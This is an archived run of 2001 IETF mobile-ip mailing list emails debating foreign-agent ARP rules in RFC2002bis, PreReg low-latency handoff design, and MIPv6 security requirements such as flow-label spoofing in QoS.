	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA27992
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 06:08:46 -0800 (PST)
Received: from idcpa4.pa.interdigital.com ([12.32.197.142])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA04434
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 07:08:28 -0700 (MST)
Received: by idcpa4.pa.interdigital.com with Internet Mail Service (5.5.2653.19)
	id <RN09ZPF8>; Mon, 5 Nov 2001 09:07:45 -0500
Message-ID: <A1170612471BD21185B90008C7FA0A0D01F1FAAD@idcpa4.pa.interdigital.com>
From: "Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] Question of FA obtaining MAC addresses
Date: Mon, 5 Nov 2001 09:07:44 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hello Carl,

	It is explicitly stated in 2002bis that the FA is not allowed to
proxy ARP the links attached to its  router.

However, the HA is not prohibited from proxy ARP'ing its links to determine
the MN's MAC address when its at home.

I don't know why it is different for the 2 cases.

I thought that it is still possible to use de-registration messages from the
MN for the HA to learn its MAC address.

Perhaps the contributors to 2002 & 2002bis can explain why the two cases are
different.

-Sharif.

-----Original Message-----
From: Carl Williams [mailto:carlw@docomolabs-usa.com]
Sent: Monday, November 05, 2001 4:15 AM
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Question of FA obtaining MAC addresses


Based on interoperability testing at various MIP bake-offs, what we
learned was that some routers are configured to automatically proxy
ARP for any address not belonging to the local network.  The presence
of such routers can interfere with the operation of the Mobile IP agent.
A foreign agent, as described in RFC2002, sends out an ARP request
to determine the hardware address for a visiting mobile node.  If the
proxy-ARPing router responds before the mobile node, forwarding
loops can occur and cuasing the mobile node to be unreachable.

This input from MIP bake-offs was presented to Charlie Perkins who
then made the appropriate changes to 2002bis to specify that 
the FA not ARPing for a mobile node's hardware address.

An implementation could pick up that information from the 
ethernet header of an incomping registration request.

Just some historical information regarding why the 2002bis change
is there.

Carl


----- Original Message ----- 
From: "Lorang, Martin" <Martin.Lorang@detecon.com>
To: <mobile-ip@sunroof.eng.sun.com>
Sent: Monday, November 05, 2001 12:15 AM
Subject: RE: [mobile-ip] Question of FA obtaining MAC addresses


> -- Sharif wrote --
> 
> One of the "major changes" listed in rfc2002-bis is that the foreign
> agent
> is not permitted to broadcast an ARP Request on all its local links, in
> order to retreive the MAC address of a mobile node.
> 
> However, in RFC2002, I did not see any text that prohibits this action.
> 
> -- End Sharif
> 
> Unfortunately, I can't answer Your question but only add another one:
> 
> _Why_ is the foreign agent not allowed anymore to use broadcast ARP? 
> 
> As far as I can see, draft-...-rfc2002-bis-08.txt does not give any
> reasons for this deviation from RFC2002. If I missed something (it's
> extremely hard to search in the Mobile IP e-mail list archive), please
> let me know.
> 


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 12:33:21 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA00294
	for <mobileip-archive@lists.ietf.org>; Mon, 5 Nov 2001 12:33:20 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA28633;
	Mon, 5 Nov 2001 09:32:40 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA00803;
	Mon, 5 Nov 2001 09:31:10 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA5HToQO017419
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 09:29:50 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA5HTos7017418
	for mobile-ip-dist; Mon, 5 Nov 2001 09:29:50 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA5HTiQO017406
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 09:29:44 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA17386
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 09:29:47 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA00992
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 09:29:46 -0800 (PST)
Received: from esealnt409.al.sw.ericsson.se (ESEALNT409.al.sw.ericsson.se [153.88.251.32])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fA5HTjf19502
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 18:29:45 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt409.al.sw.ericsson.se ; Mon Nov 05 18:29:44 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2LL23B>; Mon, 5 Nov 2001 18:21:54 +0100
Message-ID: <795A014AF92DD21182AF0008C7A404320DFBED52@esealnt117>
From: "Karim El-Malki (ERA)" <Karim.El-Malki@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: PreReg Complexity
Date: Mon, 5 Nov 2001 18:29:26 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> In general the proposal is significantly complicated by specifying
> multiple ways of doing things. Specifically:
> 1 FAs may (or may not) cache advertisements from other FAs. This
>   means that (per section 3.3) MN soliciations are either unicast
>   to the oFA or the nFA. How does the MN know which method it should
>   use? What if the MN decides to unicast to oFA for a proxy advert,
>   but oFA isn't caching adverts from nFA?

In 3.3., 3.41. and 3.5 it says that the FAs SHOULD cache the
advertisements. I'll run through to check for inconsistencies. The
solicitation to nFA was meant for the case in which there was no caching.
I was making some changes and wanted to clarify in 3.3 that the MN SHOULD
unicast solicitation to oFA. Unicasting to nFA would have been the fallback
for those cases where caching is impossible. However this fallback doesn't
seem to add much so I'd like to remove it altogether. Would this
solve your concern?

> 2 It is often hard to determine exactly which messages under what
>   circumstances must contain which extensions. For example,
>   Section 3.3 also states that "The PrRtAdv message MAY contain the
>   nFA's L2 address (using the LLA extension in 7.2)". When should the
>   L2 address extension be present? What are the ramifications of not
>   including it?

That part says:

   "The PrRtAdv message MAY
   contain the nFA's L2 address (using the LLA extension in 7.2) as
   described in sections 3.7 and 3.8."
 
Actually it's sections 3.6 and 3.7 which describe when it is to be used.
These sections should answer your questions. I'll look through to
sort out any places where the use of extensions is unclear. 

> 3 Section 3.4 lists three different ways of obtaining nFA
>   advertisements. This seems likely to cause interoperability 
> problems.
>   For example, what if FA1 expects all agent advertisements to
>   be piggybacked on L2 messaging, while FA2 does not? They will
>   not be able to exchange advertisements, and therefore will not
>   be able to complete PreReg handovers between them.

3.4.1 and 3.4.2 each apply to different cases. 3.4.1 is for source
triggered or mobile initiated. 3.4.2 instead is for target triggered.
I'll read it through to make this clear if it isn't. 3.4.3 instead
doesn't add much so I propose to take that away. This should solve the
issue.

In general we have not considered FA capability discovery since
it is quite complex and the draft is complicated enough as is. In the new
version we'll clearly state that this is outside the scope. So it is assumed
that the FA capabilities are manually configured to be compatible
and a separate mechanism could be used for autoconfiguration.

Hope this solves a good part of your concerns.

/Karim


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 14:08:07 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA03383
	for <mobileip-archive@odin.ietf.org>; Mon, 5 Nov 2001 14:08:06 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA05568;
	Mon, 5 Nov 2001 12:07:01 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA24479;
	Mon, 5 Nov 2001 11:05:38 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA5J4cQO017693
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 11:04:38 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA5J4coL017692
	for mobile-ip-dist; Mon, 5 Nov 2001 11:04:38 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA5J4YQO017685
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 11:04:35 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA24017
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 11:04:32 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA28830
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 11:04:27 -0800 (PST)
Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fA5J4Nf17142
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 20:04:23 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt461 ; Mon Nov 05 20:04:11 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2LLKA4>; Mon, 5 Nov 2001 19:56:32 +0100
Message-ID: <795A014AF92DD21182AF0008C7A404320DFBED55@esealnt117>
From: "Karim El-Malki (ERA)" <Karim.El-Malki@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: PreReg Tunnels
Date: Mon, 5 Nov 2001 20:04:08 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> Tunnel use and management needs to be better defined. Tunnels are
> usually point-to-point, and so need to be explicitly set up
> by both endpoints. Hosts will generally not decapsulate anything
> sent to them if they do not have a tunnel set up with the
> corresponding host.

The minimal requirement is that FAs have a manually configured
list of neighbouring FAs (i.e. FAs to which MNs could hand-off to).
The FA routers which get an encapsulated agent advertisement
from one of the FA neighbours would decapsulate and deliver the packet.
As long as there is some pre-configured security between the routers,
as required in the draft, it should not be a problem to enable the
tunneling.

> 
> For PreReg, this means that FAs will need to explicitly set up
> tunnels with neighboring FAs. Are these tunnels created dynamically
> or just once when each FA starts up? How are they managed and
> configured?

If the implementation requires a tunnel configuration then, assuming
manual configuration as above, a tunnel would be configured for each
entry in the list of neighbouring FAs. This depends on the implementation
and is only needed for target triggers.

> 
> Once up, exactly what is sent through the tunnel? It looks like
> agent advertisements and solicitations from the MN are. Is there
> anything else?

It's only nFA agent advertisements that go through the tunnel when
there's a target-trigger. I'm assuming that the MN solicitation
directly to nFA is out.

/Karim


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 19:37:57 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA11508
	for <mobileip-archive@lists.ietf.org>; Mon, 5 Nov 2001 19:37:56 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA17239;
	Mon, 5 Nov 2001 17:37:03 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA05724;
	Mon, 5 Nov 2001 16:37:00 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA60a6QO018471
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 16:36:06 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA60a6cr018470
	for mobile-ip-dist; Mon, 5 Nov 2001 16:36:06 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA60a2QO018463
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 16:36:02 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA00785
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 16:36:05 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA16440
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 17:35:46 -0700 (MST)
Received: from DOCOMOALPER (dhcp98.docomo-usa.com [172.21.96.98])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fA60a2B07701;
	Mon, 5 Nov 2001 16:36:02 -0800 (PST)
Message-ID: <054801c1665a$ee23d4e0$626015ac@DOCOMOALPER>
From: "Alper Yegin" <alper@docomolabs-usa.com>
To: "Charlie Perkins" <charliep@iprg.nokia.com>
Cc: <mobile-ip@sunroof.eng.sun.com>
References: <Roam.SIMC.2.0.6.1003740874.29682.nordmark@bebop.france> <0bcf01c15e79$78a04e30$626015ac@DOCOMOALPER> <3BDA3D5D.BB88AD6A@iprg.nokia.com>
Subject: Re: [mobile-ip] Last Call Comments on  http://www.ietf.org/internet-drafts/draft-ietf-mobileip-mipv6-scrty-reqts-01.txt
Date: Mon, 5 Nov 2001 16:35:27 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi Charlie,

I was away from my e-mail for a week. Let me respond to the messages in this
thread.

> > This can be exploited by malicious nodes to impersonate other nodes, as
far
> > as the routers along the path are concerned.
>
> The point of the option is to apply a topologically correct source
> address.  Routers aren't checking to see _who_ is sending the
> packet.  They're checking to see if the address matches a reasonable
> prefix.  I don't think it makes sense to worry about a malicious node
> impersonating a node, when the entity it is fooling doesn't care anyway.
>

But as I was trying to illustrate, routers would care about the sender, if
they
want to identify flows for QoS purposes.

> >
> >
> >
> > Aaddress in the home address option.
> >
> > For example, a flow is (or proposed to be?) identified by the source
address
> > and the flow
> > info of an IPv6 packet. If the malicious node can learn these two fields
of
> > a legitimate packet, it can
> > start using them in its own packets. Therefore stealing QoS established
for
> > another device (along
> > the common path).
>
> It is an interesting problem about whether a flow label needs to be
> interpreted according to the destination IP address or the home
> address.  It seems wrong to try to make the intermediate
> routers parse the home address option.  I reckon that there

I wish we didn't have to. But the true end-point of a connection
can only be identified if we also look into home address option.
Sender can put any address in the source address field, as long
as there's a home address option. Receiver would toss away
the source address, it has no significance.

> should be a QoS feature transfer, which includes something
> about new and old flow labels, to handle the flow over a tunnel
> between access routers while the new care-of address gets to
> be associated with the flow.  We've been puzzling over this a
> little bit already in our group, but it depends on a lot of things that
> are currently unknown.
>
> It's not a security problem, though...
>
> >
>
> > With IPv6 and home address option, the packets from the malicious node
look
> > like they are from
> > a legitimate node to all the routers along the path (same as in IPv4)
and
> > when arrived at the
> > correspondent node they reveal their true sender (this is new!).
>
> It would be exactly like the packets came from the home network.... right?

Right.

> And so that's exactly what we are trying to accomplish!

Right :) But what we don't want to accomplish is to give malicious nodes a
new
(and legitimate) tool to hide their identity. Unless routers
also check this new field, this can be a problem as I illustrated in my
example.



>
> > First solution that comes to mind would be to expect protocols to check
for
> > home address
> > option in addition to source address, but that is not desirable as it is
> > costly.
>
> Why do you want to do this?

Please see my example. Malicious node can "borrow" a legitimate IP address
and flow info to use for its own traffic.

> Which protocols should check?  Surely not
> the protocols running on the routers...?

Routers, who implement a QoS protocol and identify flows by looking
at packets' source address and flow info field would have to be concerned.

>
> Regards,
> Charlie P.
>

alper

>
>



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 20:44:34 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA12189
	for <mobileip-archive@lists.ietf.org>; Mon, 5 Nov 2001 20:44:33 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA00381;
	Mon, 5 Nov 2001 18:43:30 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA13524;
	Mon, 5 Nov 2001 17:43:25 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA61g8QO018700
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 17:42:08 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA61g76G018699
	for mobile-ip-dist; Mon, 5 Nov 2001 17:42:07 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from heliopolis.eng.sun.com (redcoast.Eng.Sun.COM [152.70.28.21])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA61g4QO018692
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 17:42:04 -0800 (PST)
Received: from sloth (dsl199-239.Eng.Sun.COM [129.146.199.239])
	by heliopolis.eng.sun.com (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id RAA01124
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 17:42:08 -0800 (PST)
Message-Id: <200111060142.RAA01124@heliopolis.eng.sun.com>
Date: Mon, 5 Nov 2001 17:42:07 -0800 (PST)
From: Jonathan Wood <Jonathan.Wood@Sun.COM>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: Coverage Area Transit ion
To: mobile-ip@sunroof.eng.sun.com
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: WOcbVOjdRq07NMXDbQ3H5g==
X-Mailer: dtmail 1.2.1 CDE Version 1.2.1 SunOS 5.6 sun4u sparc 
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> 
> > How are transitions to and from PrePreg coverage areas handled?
> > What should the FAs do, and more importantly, how should the MN
> > know when it has entered and left PreReg coverage areas?
> 
> Wouldn't expect someone to build PRE-REG plus POST-REG areas and
> allow movement between the two. There's the common method which I like
> since it makes PRE and POST work together. Don't know if that was what

Sorry - I am referring to PRE-REG to / from RFC2002.

> you meant. If instead you are considering PRE-REG to RFC2002 then it
> depends on mobile/network initiated. The MN doesn't have an active
> role in network-initiated so there would be no difference. In
> mobile-initiated the MN will either not get the L2-MT trigger, so
> no soliciting happens, or the PrRtSol doesn't receive a reply
> which means that in both cases the MN follows RFC2002 when it connects
> to nFA. The new failure recovery section should handle these cases
> and the FA behaviour, which basically involves doing RFC2002.
> 

First I should call out one place where it looks like we may have
differing assumptions. I assert that the MN MUST know whether or
not it is in a PRE-REG or rfc2002 coverage area, since the actions
it takes on movement detection will be different. For rfc2002, a
MN typically on receipt on an advert will flush L2 caches and
routing tables, add a default and host route through the FA, and
send a registration reply. For PRE-REG, however, the MN will on
receipt of a PrRtAdv will send a registration request to nFA (via
oFA), and then *do nothing* until it gets a link up trigger. Only
then should it adjust routing and L2 caches, since if it does this
earlier it will disrupt communications while still on oFA's link.

Now, let's break the analysis into two parts: entering a PRE-REG from
rfc2002 coverage area, and departing a PRE-REG to rfc2002 coverage
area.

When entering a PRE-REG area, how does the MN know that it is now
in a PRE-REG area? Is it expected to infer this from the receipt of
a PrRtAdv? If so, how does one distinguish a PrRtAdv? It appears that
the only way to do this is by the presence of a GLLA extension. Section
3.3, however, states that the inclusion of the GLLA L2 extension
is only a MAY - perhaps it should be a MUST? Also, this means that
FAs must always include the GLLA L2 extension in all their adverts,
since they don't know who is soliciting them - probably good text
for a FA considerations section.

I guess another way you might be able to distinguish a PrRtAdv is by
looking at when it arrived. For example, if an advert shows up before
the link-down trigger and it belongs to a different FA than the current
FA, than it must be a PrRtAdv. Either way, this should be made clear in
the spec.


When departing a PRE-REG area, you suggested that the MN can tell it
is leaving by the absense of the L2-MT trigger, or the lack of a reply
to PrRtSol. How does the MN differentiate between a failure and a
departure from a PRE-REG domain? Or does it *not* differentiate, and
just use whatever detection method it used to entering a PRE-REG area?

Jonathan



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 20:45:03 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA12212
	for <mobileip-archive@odin.ietf.org>; Mon, 5 Nov 2001 20:45:02 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA21029;
	Mon, 5 Nov 2001 17:44:19 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA13690;
	Mon, 5 Nov 2001 17:44:01 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA61gtQO018721
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 5 Nov 2001 17:42:55 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA61gtvb018720
	for mobile-ip-dist; Mon, 5 Nov 2001 17:42:55 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from heliopolis.eng.sun.com (heliopolis.Eng.Sun.COM [152.70.1.39])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA61gqQO018713
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 17:42:52 -0800 (PST)
Received: from sloth (dsl199-239.Eng.Sun.COM [129.146.199.239])
	by heliopolis.eng.sun.com (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id RAA01176
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 5 Nov 2001 17:42:55 -0800 (PST)
Message-Id: <200111060142.RAA01176@heliopolis.eng.sun.com>
Date: Mon, 5 Nov 2001 17:42:55 -0800 (PST)
From: Jonathan Wood <Jonathan.Wood@Sun.COM>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: Relaying RegReplies v ia oFA
To: mobile-ip@sunroof.eng.sun.com
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: 5N/xEa/IBxnboG9y8dBeiw==
X-Mailer: dtmail 1.2.1 CDE Version 1.2.1 SunOS 5.6 sun4u sparc 
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> 
> > The PreReg proposal recommends that FAs solicit and cache each others
> > advertisements, so they can proxy them for MNs during handover.
> > However, during source-trigger network initiated handovers and
> > MN initiated handovers,  there is no way for nFAs to know which
> > FA is the oFA when a MN is handed over. This breaks the requirement
> > that the nFA must send registration replies via oFA to the MN. How
> > should this issue be resolved?
> 
> That's a good point, the nFA reply must be sent both on-link (when the MN
> attaches) and to the old link (oFA). As it is now the only way to get
> the reply through oFA would be to have the unicast reply go through the
> HA/GFA in the source and mobile-initiated cases. So some bits need modifying

Actually for the HA case the HA will have already pointed its tunnel at
nFA (as a result of the registration request), so the registration reply
will end back up at nFA. Not sure about the GFA case...

> in the draft. The important thing is that the MN gets the reply somewhere
> since it doesn't break the protocol if it doesn't get it in time before
> it leaves oFA.
> 
> Instead one way to do the nFA-oFA tunnelling would be to add an LLA extension
> for the oFA identifier to the MN's Registration Request. That adds some
> complexity and I'm not sure if it gains us anything, since the MN may have
> left the oFA link anyway by the time the reply arrives. Anyone have a strong
> opinion?
> 

The alternative is for nFA to hold on to the registration reply until
the MN's link-up L2 trigger appears, and then deliver the reg reply.
This actually seems even more complex than adding an LLA extension
for oFA, since nFA will need to maintain a reg reply table, aging
and flushing it as appropriate.

Jonathan



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov  5 20:50:31 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA12281
